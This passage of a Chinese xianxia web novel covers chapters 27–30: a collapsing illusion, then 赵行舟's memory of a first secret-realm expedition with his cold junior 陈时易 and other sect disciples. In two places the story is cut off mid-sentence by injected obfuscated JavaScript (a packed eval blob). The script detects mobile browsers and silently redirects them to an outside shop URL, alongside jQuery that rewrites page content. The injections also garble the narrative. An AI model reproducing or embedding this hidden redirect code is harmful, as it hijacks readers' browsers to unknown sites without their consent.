魔修死了,场上的尸偶却没有失去控制。赵行舟意识到不对劲的地方在哪了。 一个福洞,两个尸骨,从一开始就不对劲。 另一边,夺魂一炷香时间已到。千奕浑身颤了一下,恢复对身体的控制。他傻了一样站在原地,对扑面而来的尸偶做不出任何反应。这时背后被人一扑,冬冬舍命推开了他,自己却被尸偶咬住脖子。 鲜血溅了出来。 一个圆形的阵光从庭院中升起,东南西北四方皆有一处亮光,唯独中心处的土位,恶鬼悬着,迟迟暗淡。 千奕被血烫了一下,第一反应是想躲,可愣愣地看着被拖走的冬冬,不知怎的,竟也冲上去抓住她的手。 冬冬一时没死,含泪看他,“师兄,你走,你走啊!” 千奕抖着嘴唇,狠了狠心,拔起手中软剑砍向冬冬尸偶,“不要叫我师兄,你又不知道我是谁!”他声音尖细,手不稳,砍了几下都是皮肉伤,限制不住尸偶的行动。 冬冬卸了力气,任由尸偶咬着自己的脖子,眼睛开始失神。 远处响起天塌了一样的轰鸣,魔修身死,微妙的平衡被打破了。即使无人强行破境,这幻境也在瓦解的边缘。 事态超出预期,赵行舟却冷静异常。 静下心来想,千奕和陈时易的人物动机都是围绕着抓鬼,五青派展开的。只有他,多了一条看似和正事无关却又不可违背的设定——钟情自己的师姐。 一旦做出违反这个设定的举动,他就会被幻境意识排斥。 早该想到的,幻境由造景者的记忆构成。若造景者只有一位魔修,他不该对五青派内部的恩怨情仇如此了解。 还有大师兄身上反复被提及的伤,只有造景者在乎的事才会被反复提及,这些看似无关的线索早已指向一个人。 冬冬是第二个造景者,那个玉如意似的腿骨,是冬冬的腿骨。 一个离天幻境,两个残缺又水火不容的灵魂。 却不知冬冬原本道名叫什 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“不曾。”掌下温冷,如背后人沉静的嗓音。 “那你有没有怪过我?” 片刻无人回答。 赵行舟欲再问,被人用手盖住眼睛。 幻境中溃塌一片,此处气息却薄得像一片雪花。 “你失约了。” “什么约?” “你自己想。” “……” 这边魔修未死,还在缠斗之时,千奕也在和场中的尸偶做着无意义的搏斗。他一时间也分不清什么是真,什么是假,只是莫名其妙眼泪鼻涕糊了一脸,对冬冬说,“你真傻,我又不是你的师兄,你救我干什么。也对,你要是知道我是谁了,肯定就不会救我了。可你干嘛对我这么好?” 冬冬眼睛无神,被咬住脖子,濒死之际,没有一丝要挣扎的迹象。 千奕的剑卡在尸偶的头颅上,没能让它松口,三个人一路被拽至光阵的最中央,却忽然他的左侧胸口处亮起微弱的光,和整个光阵融为一体。 随光起,千奕的胸口皮肤莫名瓦解,有液体渗出衣服,大片涌出鲜血,阵随之被染红。 头顶厉鬼随一声尖啸被吸入中央土位。 魔修身死时,五行祭鬼术,阵成。 尸偶没多久就失去力气,三人一起摔倒在地上。冬冬的眼中却闪烁起神采,如同回光返照,怔怔看着被血染红的千奕。 千奕一手抓着冬冬,另一只手慌张地抓向自己的胸口,“我这又是怎么了,救命啊!我……” 突然,冬冬的样貌开始变化。她轻飘飘从地上浮空立起来,千奕不由得松开了手。发簪松落,瀑布般的青丝垂落着生长,直至落到脚边。脖子上伤口融合直至雪白。她由少女长至成年,青色衣裙层层加深,苍翠欲滴,流萤满身。眼尾开始出现褶皱,浩然仙气灌满衣袖。 “明明只差一步就错过了,为什么你要入阵呢。” 冬冬的声音完全变了。嘴唇不动,声音仍从极远处飘渺而至。 千奕胸口流血不止。奇妙的是,他并不觉得疼,只是眼泪和鼻涕一起被眼前的变化吓回去了。 “你、你、你?” “我筑基初时有一个死劫。”冬冬目光放远,自说自话道,“被人陷害,沦为五行祭鬼术的贡品之一。命悬一线时,一位与我交好的师兄身负重伤,替我走入阵中,阵成,一魂一魄都没能留下。” 而后微笑起来,仙气飘渺,“我找过诸多理由。若三师弟没有因为无聊的原因给大师兄下药,若小师弟传信传得可以再快一点,甚至,若大师兄能早点发现那里的不对劲,一切是不是就不一样了?我半生都在追踪当年那个魔修的踪迹,黄天不负,终将他杀了。我总以为在梦中替师兄死一回,与他就算两清。可原来不是。” “你说,他当年明明可以一走了之,为什么还要入阵?” 千奕傻了,说话也开始结巴,“我真、真的不懂你在说什么……”千奕试图在场中找寻赵行舟的身影,想要问问这是怎么回事。却见酷似南仲君的男人不知何时走到他身后,伸手遮住他的眼睛。 而后目光极冷地扫过来。 千奕一下子就像被人掐住喉咙,憋了又憋,要问的话戛然而止。 冬冬却也像是没在等答案,叹息一声,“罢了,我真正欠他的永远也还不清。活着没有认识到这个事,死了才会不得解脱。” 无人答话,冬冬抬手一挥,原本不稳定的幻境从大地开始破碎,而后却似察觉到什么似的,视线转向赵行舟二人方向。 看了半晌,冬冬笑容变了,“为什么呢……” 话音一落,却听“咔嚓”一声,冬冬仙气凛然的身躯随幻境一同破碎成影,从她的手中落下一瓣金莲。 余音愈发飘渺起来,“若从一开始就是错的,不如置身事外,你又何必回来……” 拢在眼前的手骤然用力,然后空了。赵行舟身体一轻,闯入一片金浪中。 幻境已破,并未收到反噬,却也不能挪动身体。有了前几次的经验,这次再看到金色莲花,赵行舟心中十分平静,只有一个想法,就是,又来。 无数金色的莲花瓣裹挟着他下坠,翻涌,直至眉间刺痛,神海浮沉,跌入盛光万丈的记忆中。 28. 第 28 章 八荒三百五十二年,春。 南洲四季炎热,鄱岭郡作为当年拭武大会的举办地点,春季闷热潮湿,细雨连绵。 张天茂轻松赢下几场决斗,合扇下台。旁边等着的同门比他激动许多,一声高过一声喊着,“张师兄好厉害!”“张兄不愧是你!” 被众人拥簇着,张天茂不以为意。 作为峰主独子,先天兑位满灵根,顶级出身配顶级天赋,板上定钉的下一任紫霄峰主继承人。类似赞誉的话他每天都要听几十遍,耳朵都要磨出茧子了,就觉得有些无聊。 他时常也会为一些对手之弱感到惋惜,但是天赋与生俱来,是最不公平、最没有办法的东西。他虽有同情,也仅限于小小的同情。 这种骄傲自满又水到渠成的心情一直持续到那年拭武大会结束的倒数第二天。 张天茂在台上被人打得招架不及,脸色不太好看。心里想,同辈这么多人,怎么偏给我排到他?! 同门相见是友好切磋,台下围的全是紫霄弟子,给张天茂喝彩的声音一边倒,衬得另一边声势寥寥。 对面是一位年轻的剑修,体态修长身骨极佳,披着昆仑同宗的霜色外袍,内衬却是几乎无人见过的鱼尾灰。无人站他身后,他也神色自若,孑然一身游侠似的,看上去不太认真。 二人在昆仑身份有点特殊,虽没有交情,也没有交过手,但对彼此都有所耳闻。 一位刚入门的紫霄小弟子好奇问旁边人,“师兄,这人衣领子颜色好奇怪,是哪个峰的同门?”被旁边师兄以一种有些羡慕、又有些别扭的声音解释道,“是凌绝峰弟子。要说诺大一个山峰的资源就被一两个人霸占了,修行比一般人轻松些也是应该的。这人作为凌绝峰剑修,眼下若赢了张兄,是胜之不武。我们只管给张兄加油就是。” 想到凌绝峰的各种传言,张天茂和台下人一样对自己没什么信心。可守御结界已立,众目睽睽下没有主动退的道理,对方攻守全无破绽,再打下去只会显露败势。 对方似乎看出了他进退两难的心情,没有咄咄逼人,反而换上一副调侃的眼神打量他,“我听老谢提起过,你就是紫霄峰那块宝贝疙瘩吧?” 老谢?什么老谢?什么宝贝疙瘩? 还没等张天茂反应过来,对方随手一甩将剑插回鞘中,浑不在意撂下句话就离了场。 “不打了,有空一起喝酒。” 提前下台算作弃权,此人不管,留张天茂和台下一干紫霄弟子面面相觑。而后欢呼声一层高过一层,张天茂头一次没有了脚踏实地的感觉。 会后两人当真约了场酒。张天茂醉醺醺问他,当时明明能赢,何必提前离场? 赵行舟笑意散漫,还很欠打,边拎着酒壶边道,剑修打赢法修没意思,控位打守位更没意思。 张天茂长这么大还从未从同辈口中听过如此不把他放在眼里的话,当下气得想吐酒。 不过后来他也隐约弄懂了此人的言外之意。 台下有那么多紫霄弟子在观战,赵行舟那时名声不显,会这么做无非是在师弟师妹面前为他保留几分薄面。 同为有秘境资格的人,酒后,张天茂主动邀请赵行舟入境结盟。二人不撞位,赵行舟答应得干脆,不过提出还要再带一个人。 张天茂问是谁,赵行舟说,我师弟。 凌绝峰峰主新收的两个徒弟,天赋之夸张,早已传遍昆仑宗门的高层。饶是张天茂这种百年难见的单天灵根,听他爹提起这两位时,也觉得不可思议。不过张天茂没什么不平衡的心情,一是他的出身决定了他想要的东西基本都能得到,没有不满,面对比自己厉害的人就会从容些。二是,他觉得赵行舟此人还不错,既然能做朋友,朋友之间就不必谈高下。 在听赵行舟说要带他师弟,张天茂当即答应下来。而后好奇地问赵行舟,那日他二人切磋,怎么不见你师弟来替你加油? 不想赵行舟直接笑出了声,那小子,算了吧。 二人一路交谈,转眼在客栈见到了所谈之人。 要说赵行舟此人,剑修身段笔直,昆仑统一服饰穿在他身上却显得松垮,头上别着一根不知从哪折来的树枝,惯常姿态懒散,连同持剑都有些吊儿郎当的懈劲儿。 看谁的眼神都不上心,也不够认真,提不起劲似的。 他这位师弟却不同,气质和他堪比一个天上一个地下。发冠高束,衣领妥帖拢至最上侧,个子拔得挺高,年纪看上去不过弱冠,甚是年轻,眉眼却疏冷至极。 昆仑服饰穿在他身上好似一把收鞘的剑,挺拔,冷峻,锋芒尽显。若说南洲回春暖遍整个鄱岭郡,单遇及此人的眼神,都够梦回雪山连绵的昆仑。 赵行舟随意问他,“找老谢拿到剑了?” 对方回得甚是冷淡,就“嗯”了一下。 “让我猜猜,又是去求的张宏景吧。” “嗯。” “给我看看。” “凭什么?” “凭我是你师兄?” 无人答话,只换来一声冷笑。 “大不了惊春跟你换,给我看看。” “没兴趣。” “你给不给,不给我抢了。” “你!” 左右一转手就被赵行舟抢过来了,他这师弟终于稳不住自己冰封似的神情,有些恼火开嗓,“赵行舟,还给我。” 一剑被拉住鞘,赵行舟右手撩了两势,“还不错,剑尾比惊春略沉一点。” 话还没说完又被夺了回去,赵行舟倒也放手给他,只是笑,“别这么小气,喏,惊春也给你看。” “没兴趣。”陈时易将剑入了鞘,转身把客房门摔得嗡嗡作响。 张天茂目瞪口呆。 赵行舟耸肩,“不好意思,我们同门关系一直不太好。这次组队下秘境也是老谢逼的,就这样了。” “所以老谢是……” “嗯?”赵行舟无所谓回过头,“自然是我师父。” 他师父,也就是凌绝峰峰主,当代昆仑第一剑谢海生。 张天茂原本想问他师弟为什么可以直呼他姓名,到此时沉默了。 可能这种大逆不道的师徒关系正是凌绝峰的特色?哈哈,谁知道呢。 几日后三人一起入境,张天茂路上愣是和赵行舟他师弟没说上一句话。这人不仅话少,性格也很难处。若有人与他搭话,只会被他那种冷淡又倨傲的目光扫一眼,眉峰不怎么耐烦地皱一下,然后回你个音节都算多的。 大多时候此人对周围人视而不见。看他那个眼神,又好像他不是故意看不起人,而是天生就长了这么一张薄情寡义的死人脸似的。 张天茂御扇在一旁,斜睨着旁边两个御剑而行的师兄弟。 背后山河如卷,二人相隔老远。 一个吊儿郎当,形散不羁,除了打架没个正形,另一个对谁都一副死样,唯独多看自家师兄一眼就开始皱眉头。 赵行舟嘴上说着同门关系不好,但两人路上还真没少说话,虽然说的都不是什么好话。 好嘛,敢情儿有的人不是不会说话,是话都和一个人说完了呗。 可能每家都有每家自己独特的相处模式?张天茂想。就比如这种情况特殊、只有一对一的师兄弟,大概是与旁系不同。张天茂从小被一堆人围着长大,没体会过,也理解不了,思索无果,决定尊重队友关系的多样性。 -- 赵行舟第一次入洞天秘境,适逢他下山第九年,陈时易下山的第一年。 鄱岭郡西边一家酒肆,微雨飘摇,赵行舟没有撑伞,也不用修为隔绝雨水,单肩扛着惊春从窄巷和细雨中穿行而过。 几年不见,接到来自师门的第一句见面口信,是谢海生约他大徒弟喝酒。 很有他师傅的风格。 二人落坐,赵行舟单手把剑往桌上一扣,谢海生便冲店家吆喝,“三十年的猴儿酒,来两坛。” 转头笑眯眯问赵行舟,“行舟,下山这么多年,酒量可有长进?” 赵行舟也笑眯眯回他,“老谢,这么久不见,你就只关心你徒弟的酒量吗?” 谢海生看上去三十来岁,胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437518|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子拉碴,衣领外敞,比赵行舟不修边幅得多。昆仑凌绝峰峰主的衣服三层扒了两层,只剩玄色云纹的外衣一件裹在身上,活像个逃荒路上偷了别人衣服出来的。他挠痒似的用手抓了抓脖子,“为师不关心你的酒量,难道还要关心你修行不成?” 这时店小二抱着两坛封装精致的酒过来,眼睛先在赵行舟身上扫了一圈,然后又落在谢海生身上,一副有难言之隐的样子,“二位客官,这之前五坛子的帐还没结……” 赵行舟一怔,抽了抽嘴角。好好好,难怪约在此处,原来是没给钱。 手指在乾坤戒内翻了翻,下山自立自强了九年,带的盘缠早八辈子花完了,全靠典当四处寻来的法宝度日,每一颗灵石都是他的血汗钱……! 抛出兜里最后的两颗上等灵石,赵行舟说话不免咬牙,“你的钱呢?” “花光了。”谢海生从喜笑颜开的店小二手中接过酒,给赵行舟递了个你懂我懂的眼神,“行啊徒弟,这么有财力,想必是这几年混得不错?比为师当年强。来,喝酒喝酒。” 没钱你点这么贵的酒?赵行舟不忿仰头灌了一口。 酒是好酒,美则美矣,要不是花他自己的钱想必会更香醇。 没喝几口,谢海生长舒一口气,拿眼角撇赵行舟,“习剑配美酒,快活似神仙。可惜你师弟滴酒不沾,体会不到此等快哉。” 感觉对面那人表情鬼祟,话里有话,赵行舟放下酒壶,“你有话直说。” 谢海生立刻不跟他客气了,“那小子我管不了,交给你了。你看着带吧。” 赵行舟一口酒险些没咽下去,咳了两下,“师父,徒弟可不是我要收的,谁收的谁负责。再说了,你不是也一样没管过我什么吗?” “我是没管过你什么,但我说你两句你好歹还听。”谢海生抓了抓胡子,心宽似海,“那小子不一样,他是一点不听,我说话他甚至都不理我,装没看见我一样。他可比你小时侯难搞多了。” “……” 你收徒回来饭都不给人家吃一口,差点没让他饿死在山上,还指望人家听你的? 赵行舟把酒杯撂了,“我没办法,你做师傅的都管不了,我更管不了。你还是另谋出路吧。” “哎,行舟,别对为师这么无情嘛。”谢海生转了个调门,笑着看着不远方,“人来都来了。你们师兄弟也有一年多没见了吧,先聊过再说。” 没多久,旁边落座一个人,见赵行舟在此,挪开视线。 坎位天水根善纵天气,周身温度略低于旁人,隔着几米就有所觉。赵行舟斜着眼睛去打量,和他还有谢海生不同,陈时易坐姿一丝不苟,发冠妥帖,衣着干净得简直不像是同一个师门培养出来的弟子。 近几年下山游行,赵行舟很少回宗门,和陈时易相遇次数不多。印象中二人见面说话总是不合,没几句就要对立起来。切磋台上比试过几次,太弱了,金丹上下是剑修实力最悬殊的时候,赵行舟让一只手对方都进不了他的身。 可惜打不服他。压着打了九年了,愣是一句师兄没听见。 谢海生掏出来一张纸条,上面是陈时易取剑的位置。赵行舟余光瞥见对方右小臂隐现的金莲边缘,挑眉,“你要进秘境?” 陈时易眉头皱起来,“你也要进?” 谢海生大笑道,“此乃天意,你们师兄弟就趁此机会好好培养下感情。来,行舟,时易,喝酒,陪为师喝酒。” 赵行舟拎起酒壶,见陈时易不为所动,“你不会喝?” “没兴趣。”陈时易冷淡起身,“我去取剑了。” “等等。”赵行舟像是想到什么,叫住了他。陈时易眉头一皱。 谢海生觉得稀奇,虽然他二徒弟一脸忍耐到极点的样子,但赵行舟让他等等,还真就等住了。 “是刚下山对吧?”言语问的陈时易,视线却在向谢海生确认。得到确认后,赵行舟斜过身去招呼小二,“店家,再上两坛酒!” 遥想第一次下山大概是赵行舟九年来最富裕的时候了,来都来了,总不能让他一个人放血吧! 29. 第 29 章 三百年前的溪诀城和如今并无不同,不过人换了一茬。 如今小辈眼里的宗师级人物,当初也不过是一群初出茅庐的年轻人。 溪诀城口,赵行舟三人领了队牌,队长移交张天茂。 下山九年,赵行舟混得像个散修,整日独来独往,陈时易又是刚下山的,师兄弟二人在江湖中没有交情。 张天茂却是刚出生那会就在修真界留下名了,同辈里几乎没人不认识他。加之他比赵行舟年长几岁,修为最高,由他来当队长、招募队友都更合适。 提议是赵行舟提的,张天茂听过也觉得合理。 队牌印记一生效,赵陈二人师兄弟的默契突然显现出来,一个往左一个往右,直接原地解散。 留张天茂一个人拿着队牌站在报名处,愣了两秒,一下子转过头。 他先往右转,陈时易已经开始找地方打坐了,联想到此人平时作风显然不会搭理他,又立刻把头扭向左侧。 好嘛,这位走得也快,扭头功夫差点混进人流找不见人。 “赵行舟,你要干嘛去?” 张天茂的灵根是兑位,兑为泽,泽根的特质是操控空间介质。 他主修御守封锁类结界,短距离封音传音都是特长。所以当张天茂震惊的声音传到赵行舟耳边时,旁边无人察觉,只有赵行舟十分感兴趣地抬头看了看。 “闲着也是闲着,这边卖什么的都有,我随便看看。”赵行舟弯腰在一个摊位前,指向自己嘴巴,“我这么说话别人能听见吗?” 摆摊的是位上了年纪的修士。洞天秘境对四百岁以下修士额外青睐,但偶尔也会混入一些老辈。 该摊主见多识广,从服饰认出眼前这位顾客是昆仑门下弟子,个子高高的,眉目清利如过春风,动作随意不失潇洒,看上去辈分不大。 年轻的剑修嘴巴张合没有声音,应该是用了什么法器或神通。想到昆仑弟子出手一向阔绰,摊主没有过多询问,而是对他笑着点点头。 “听不见,我封住了。但你再走远点就不一定了。”张天茂抱怨道,“逛街怎么不叫我,你好不仗义。” 赵行舟对摊主回以微笑,脑子里想的却是前几日他们三个去逛鬼市的场景。 不知张峰主有多怕自己儿子在外面受亏待,张天茂乾坤戒里的灵石多得够堆成一座小山,偏他自己没感觉,走哪都是一副待宰的傻样,看中的看不中的全都瞎买一通。 平时一张地级净心符最多两块下品灵石,让这少爷一来搅合,硬是整片区域提到四块不讲价,不是搞笑吗? “你认识的人多,你就负责专心找队友,有什么想要的我替你买就是。” “那好吧。”张天茂想了一下,时间紧迫,便不客气道,“我缺一些上等荷叶青做灵墨,还有神宇岁末三斤。那日鬼市没有看到,若此地有的话你就替我收了。此类东西越多越好。”顿了顿,有些怀疑,“但是你钱够吗?不够的话来找我拿。” 还是前日鬼市,张天茂回想起赵行舟,买张聚火符都抠搜了半天才掏出四块细碎的灵石,一边掏,还一边很无语地拿眼睛瞥他。 好歹这人是昆仑凌绝峰首席大弟子,虽然门下只有两个人吧,但也是板上定钉的凌绝峰下届峰主继承人,穷酸成这样,合理吗! 赵行舟对着摊主用手比划了一下这里没有自己需要的,站起身向下一个摊位走去,“你未免太小看我们凌绝峰的排场了。这样,还有什么需要的你说,我看到了一起买。”说罢,想了一下,“顺便把他叫过来。” “谁?” “我师弟。” “我叫得动他?” “你就说我找他有事。” 静了几秒钟,张天茂的声音又响起来了,透着努力过后的无力感,“你这师弟要不是个聋子,他就是个哑巴。” “他聋个屁。”赵行舟甩手,“你把我和他的声音连上,我来说。” 张天茂更没好气了,“所以凌绝峰的排场连两块传音牌都舍不得买吗?!” 话是这么说,传音通道还是连上了。 赵行舟,“陈时易?” 那边停顿了好一会,“我在打坐。” “别打了,钱袋子给我。” “给过了。” “上次给的不是我,是老谢。”赵行舟纠正他,“酒我喝了两坛,他喝了四坛,喝不了的他还打包带走了。你当时走得早,不知道这些,无妨。眼下事关我凌绝峰颜面,你先过来。” 凌绝峰峰主和首席大弟子喝酒差点因为没钱被人扣在酒肆里了,还有什么颜面可言?陈时易断然道,“不去。” “你来不来?” “不去。” “来不来?” “不来。” “你不过来那我过去了。” 那边深吸了一口气,以一种忍耐到头的声音开了口,“你别过来。” 于是,在张天茂诧异的目光中,右边角落里的陈时易动了动,拾起剑,极其不情愿地站起了身。 就是说有没有一种可能,这个传音通道是别人建的,施法者也能听全程呢? 走到赵行舟正在闲逛的摊位前,陈时易语气冷得掉渣,“说了我在打坐。” “你都在那个破山头坐了十年了,还没坐够,你是指望以后靠打坐飞升吗?”赵行舟很不着调,“你别打坐了,你打我吧,打赢了我我给你当师弟怎么样?……” 后面的张天茂听不下去了,他把传音通道掐了。 而后在心中第二十七次默念,尊重队友关系的多样性,尊重…… -- 约两柱香的时间,负责采购的人回来了。 二人背着剑,一人抱着一包油纸袋,走姿不同,步调却一致。 一个走马观花,走路微晃,一个耷拉着脸,眉头皱得够夹死蚊子。 张天茂以及旁边站着的四位,察觉到神魂中闪过微弱的队牌联系,便目送这两人走近。 咳嗽两声,张天茂率先向赵行舟介绍新入队的队友们,“刚刚你们不在,我已经简单替你们做过介绍了。”手指向旁边,“崎渊这二位与我是旧识,李凤生、傅慕琼,你们应该听过她们的名号。这位是百花谷的盈玉仙子,这位是玉冥派的……不好意思兄台,你叫什么来着?” “沛卿。”队末那人一副书生打扮,说话也有气无力的。张天茂尴尬地对他表示歉意,不过被他挥挥手作罢了。 琦渊二人站在最前,统一玉袍束腰、金线钩边的打扮。 其中一位女子身材高挑,面若芙蕖,目光灼艳,满是好奇地注视着赵行舟二人,“李凤生。” 她介绍完自己,又来介绍自己身边人,“这位是我师妹,傅慕琼。” 傅慕琼负剑而立,窈窕清冷,闻言仅点头示意。 崎渊百年内最负盛名的两位剑修,李凤生,傅慕琼,原先只听说是女子,没想到原来师承一脉,还是师姐妹。 赵行舟便微笑道,“赵行舟。” 撇了下眼,见旁边人还是耷拉着个脸,丝毫没有要自我介绍的意思,索性照葫芦画瓢道,“我师弟,陈时易。幸会。” 陈时易面无表情扫了他一眼。 “所以你们就是昆仑凌绝峰仅存的两个硕果,风火双行,雷水双行?”李凤生把赵行舟从头打量到脚,即诧异,又一副见了什么新鲜东西似的稀奇神色,回头傅慕琼感慨,“先天双灵位,亲眼见了,还是觉得好夸张。师妹你说呢?” 傅慕琼很轻地点了点头。 二人感慨之际,赵行舟却从对方身上凝滞的剑意中感受到熟悉的气息,“天火根?”而后又在对方师妹捕捉到一丝熟悉的温度,“天水根?” 他错愕地向张天茂确认,“这二位也是控杀双位?” 张天茂把赵行舟拽到一边,“李凤生很早以前就对凌绝峰好奇得要命,这次听说我和你组了队,专门守在溪诀城口蹲我的。不过秘境中想找这她们二位组队的人很多,从昆仑排到崎渊都够再转两圈了。眼下七个人不多也不少,你就不要介意撞位的事啦。” 赵行舟第一次下秘境,对所有的事情一知半解,他当然不会介意撞位。 不过么…… 转头再去打量这一对师姐师妹。李凤生性格活跃,举止落落大方,凑在她师妹耳边不知说了点什么,一边说一边笑。 就见她师妹脸上的冰雪立刻消融了,忍不住也微笑看向自家师姐,低声回应她。 二人只有在对彼此说话时,才会显露出年轻姑娘特有的那种娇态。感情好得简直旁若无人。 赵行舟忍了又忍,还是忍不住问道,“李真人,冒昧问一下,你就一个师妹吗?” “大家是平辈,你叫我李姑娘便是。”李凤生招招手,而后有些纳闷他这个问题,“并非如此,我师傅桃李遍天下,门下师弟师妹不在少数,赵兄问这个做什么?” “那你们的感情还这么好?” “这有什么奇怪的。控杀双位需要配合的招式很多,我们年纪相仿,天天在一起练剑,感情自然会好。”李凤生极为聪敏,说完后,忽然间领悟到赵行舟的言外之意,诧异道,“不会吧,你就一个师弟,还是控杀分修,你们的感情难道会不好?不可能吧。” “……” “……” 陈时易不欲多待,走时发现自己怀里抱着个油纸袋子。 他把袋子丢给赵行舟,不耐烦地说了句“无聊”,拂袖便走了。 赵行舟转手把油纸袋递给张天茂,“上等荷叶青,三斤岁末。”接着递过第二个油纸袋,“这是你后面又要的弥耳灵毫,不思根,金元宝草。”最后掏出一个空瘪的钱袋子递过去,“装满它。” 接过轻飘飘的钱袋子,张天茂站在原地甩了甩,一颗石子都没有。 不是,才买这点东西就没钱了吗?凌绝峰未免太穷了吧! -- 头一次下秘境,赵行舟七人在第一层算是横扫了。 唯一有个问题,就是配合很烂。 遇到可以快速解决的对手也罢了,遇到稍微有点实力的,战区立刻会被分割成三块。 赵行舟一块,李傅二人一块,陈时易一块。 三区各打各的,打完就抱着剑坐到一边看别人打。不帮忙,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437519|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不需要别人帮忙。 沛卿是队里的探位,修行方向有些特殊。他仙风根,巽为风,风主迅和灵敏。他的法器是一个风水罗盘,本身武力很弱,但卦象奇准,对福祸预判很有一手。 但前提是不要给他分割战区。 每次打起来沛卿都要端着风水盘三头跑,指针转得几乎要跳火星子,也来不及提醒。气晕几次后,他摆烂了。 赵行舟收拾完对手退场,见沛卿瘫在地上,一副累得要死的虚弱样子,问张天茂,“他怎么了?” 就这四人的身手,张天茂他们三个辅助位在后面其实没什么出手的必要。此时他正和盈玉仙子搭伙研磨赵行舟集市上买的材料,“沛卿啊?没事,他一会就醒了。” 不多时其余两组也回来了。 陈时易一如既往不合群,找了个离人最远的地方开始打坐调息。 李凤生将剑插入背后的剑带,扫了眼远处的人,悠悠对赵行舟道,“赵兄,你和你师弟的相处模式好生奇怪。你们真的不曾练习过任何一个组合招式?” “不曾。” “回雁式,踏雪式,这么漂亮的招式,你们一次都没用过?”李凤生觉得不可思议。 赵行舟笑了一下,还是摇头。 每个宗门都有一些配合不同位置修行的组合技。昆仑有,凌绝峰也有。 作为只培养剑修的山头,凌绝传下来的组合技仅针对控、杀、探三个有攻势的位置。招式不多,都非常凝练。 在凌绝不得下山的十二年,赵行舟早已把山上所有能翻的书全都翻遍了,由于翻阅次数太多了,组合技虽没用过也烂熟于心。 不过烂熟不代表他会用。 如李凤生所言,昆仑确实有两招非常有名的控杀位组合技,均出自凌绝,如今已被昆仑弟子广泛使用。 其一雁回式,需要控位落肩转身,送剑出去的一刻,杀位紧替而上,然后双攻其下。 其二踏雪式更刁钻,下盘压低,攻势迅至。若一方招式距离不够,另一方以剑代引势,必要时可能还要踩一下剑尖,送对方一程。 动作是潇洒的,姿势是极具美感的,但剑与剑修神魂相融,一同修炼,平日里已是十分敏感,摸一下都不给摸的,怎么可能平白无故让人踩剑尖? 要做到这份上,还做什么同门,干脆结为道侣算了。 赵行舟抓着额头腹诽,感到难以想象。 他和李凤生针对控位招式没聊几句,对方就被自家师妹叫走了。走的时候听傅慕琼说,“师姐,你最近总找他说话,都不怎么理我。” 李凤生笑着回她,“我不理谁也不会不理你呀,你可是我的宝贝师妹。我只是看他二人很有意思而已。你要是不高兴,以后我就不找他说话了,好吗?” 傅慕琼也笑起来,“师姐你惯会说笑,我又不是那个意思。”二人如胶似漆,渐行渐远了。 赵行舟:…… 转头看向远处,不巧有人也在抬头。 二人相隔很远,视线突然相撞,目光皆是闪烁了一下。 随后便是火石沉入雪水,呲啦一下,连绵的冷气蒸腾起来。 分庭抗礼,互不相让。 这时,赵行舟从手上挑起一只钱袋子。 鼓鼓的,绳索吊在食指上左右打转,有所示意。 陈时易薄唇绷了绷,又簇起眉峰,不耐地盯着他,“你又想干什么?” 练剑先练眼。两个人没有发出声音,但托往日修行的福,眼力极好,都能看懂对方在说什么。 赵行舟比口型,“你不要?不要我可收下了。” 陈时易颇为不屑地冷笑一声,收回视线,一副不打算理会的样子。 赵行舟在手里掂了掂钱袋子,紫霄峰确实阔绰,钱袋子塞得比刚下山还满。 正思考着要不要中饱私囊算了,远处有人站了起来。 躺在地上的沛卿突然哆嗦了一下,看清经过的人,不满大喊道,“一个队两个天水,我受够了,是要冻死谁吗!” 随着这一声大喊,赵行舟的视线莫名开始晃动。 记忆变得不受控制,碎片化搅动着涌入他的眉心。 有人惯性站在他身后,奇寒透骨,雷息肆意,云层却倾落至眼前。 有人从云中突然挣脱出来,满手霜重抓住他的衣领,力道极重地把他压在墙上。 不知发生了什么,对方气息难以维持,绷不住似的又沉又抖,“赵行舟,你想叛出昆仑可以。惊春你都能带走,我呢?” 墙塌了,他从背后跌入一片草地。 醉意高昂,赵行舟挥剑御空而去,却在摘星前回头看到一个身影,梦碎一地。 星星掉落在惊春的剑尖上,微微一沉,火石沉入雪水里。 赵行舟眼皮一颤,睁开了眼。 巨大的榕树遮盖住阳光,树叶在头顶随风摇曳,细碎婆娑。 惊春搁在手边,历经数百年,早已满是风尘,被草绳缠满,看不出曾经的模样。 赵行舟敏锐地回忆起一件事。 虽看不清脸,但百年前,绝对有人曾踩过他惊春的剑尖。 30. 第 30 章 赵行舟第一次下秘境,探过两个小福洞,一个离天幻境。 队中七人全部出身名门,长辈给面子,小辈惹不起,在修真门第中很吃得开。 全员无伤速通一二层,拿到第三层晋级资格时,所有人都没太大感觉。 他们自踏入修途起就和普通的天才拉开了距离。有时会觉得再获得怎样出众的成就,都像理所应当。 习惯被命运优待,习惯争取大部分人可望不可及的机会。 兴许是命运作祟,这次探险在第三层最初时戛然而止。 溪诀城高耸的城墙倒塌,艳阳落至残阳,另一边升起一座阴霾密布的城池,天边隐现半轮火烧云色的月。 日月当空,两座城池隔着无尽的荒原对峙,就是第三层。 试炼之地二层晋级到三层,每个人的队牌会与神魂断开联系。进阶人有一次重新选择的机会:可以解除组队限制,也可以重新选择队友,继续保持组队关系。 当时的七人小队相处十余天,在大小对抗中建立起深厚的信任,加之年轻人意气相投,是故不谋而合,决定在第三层继续维持组队关系。 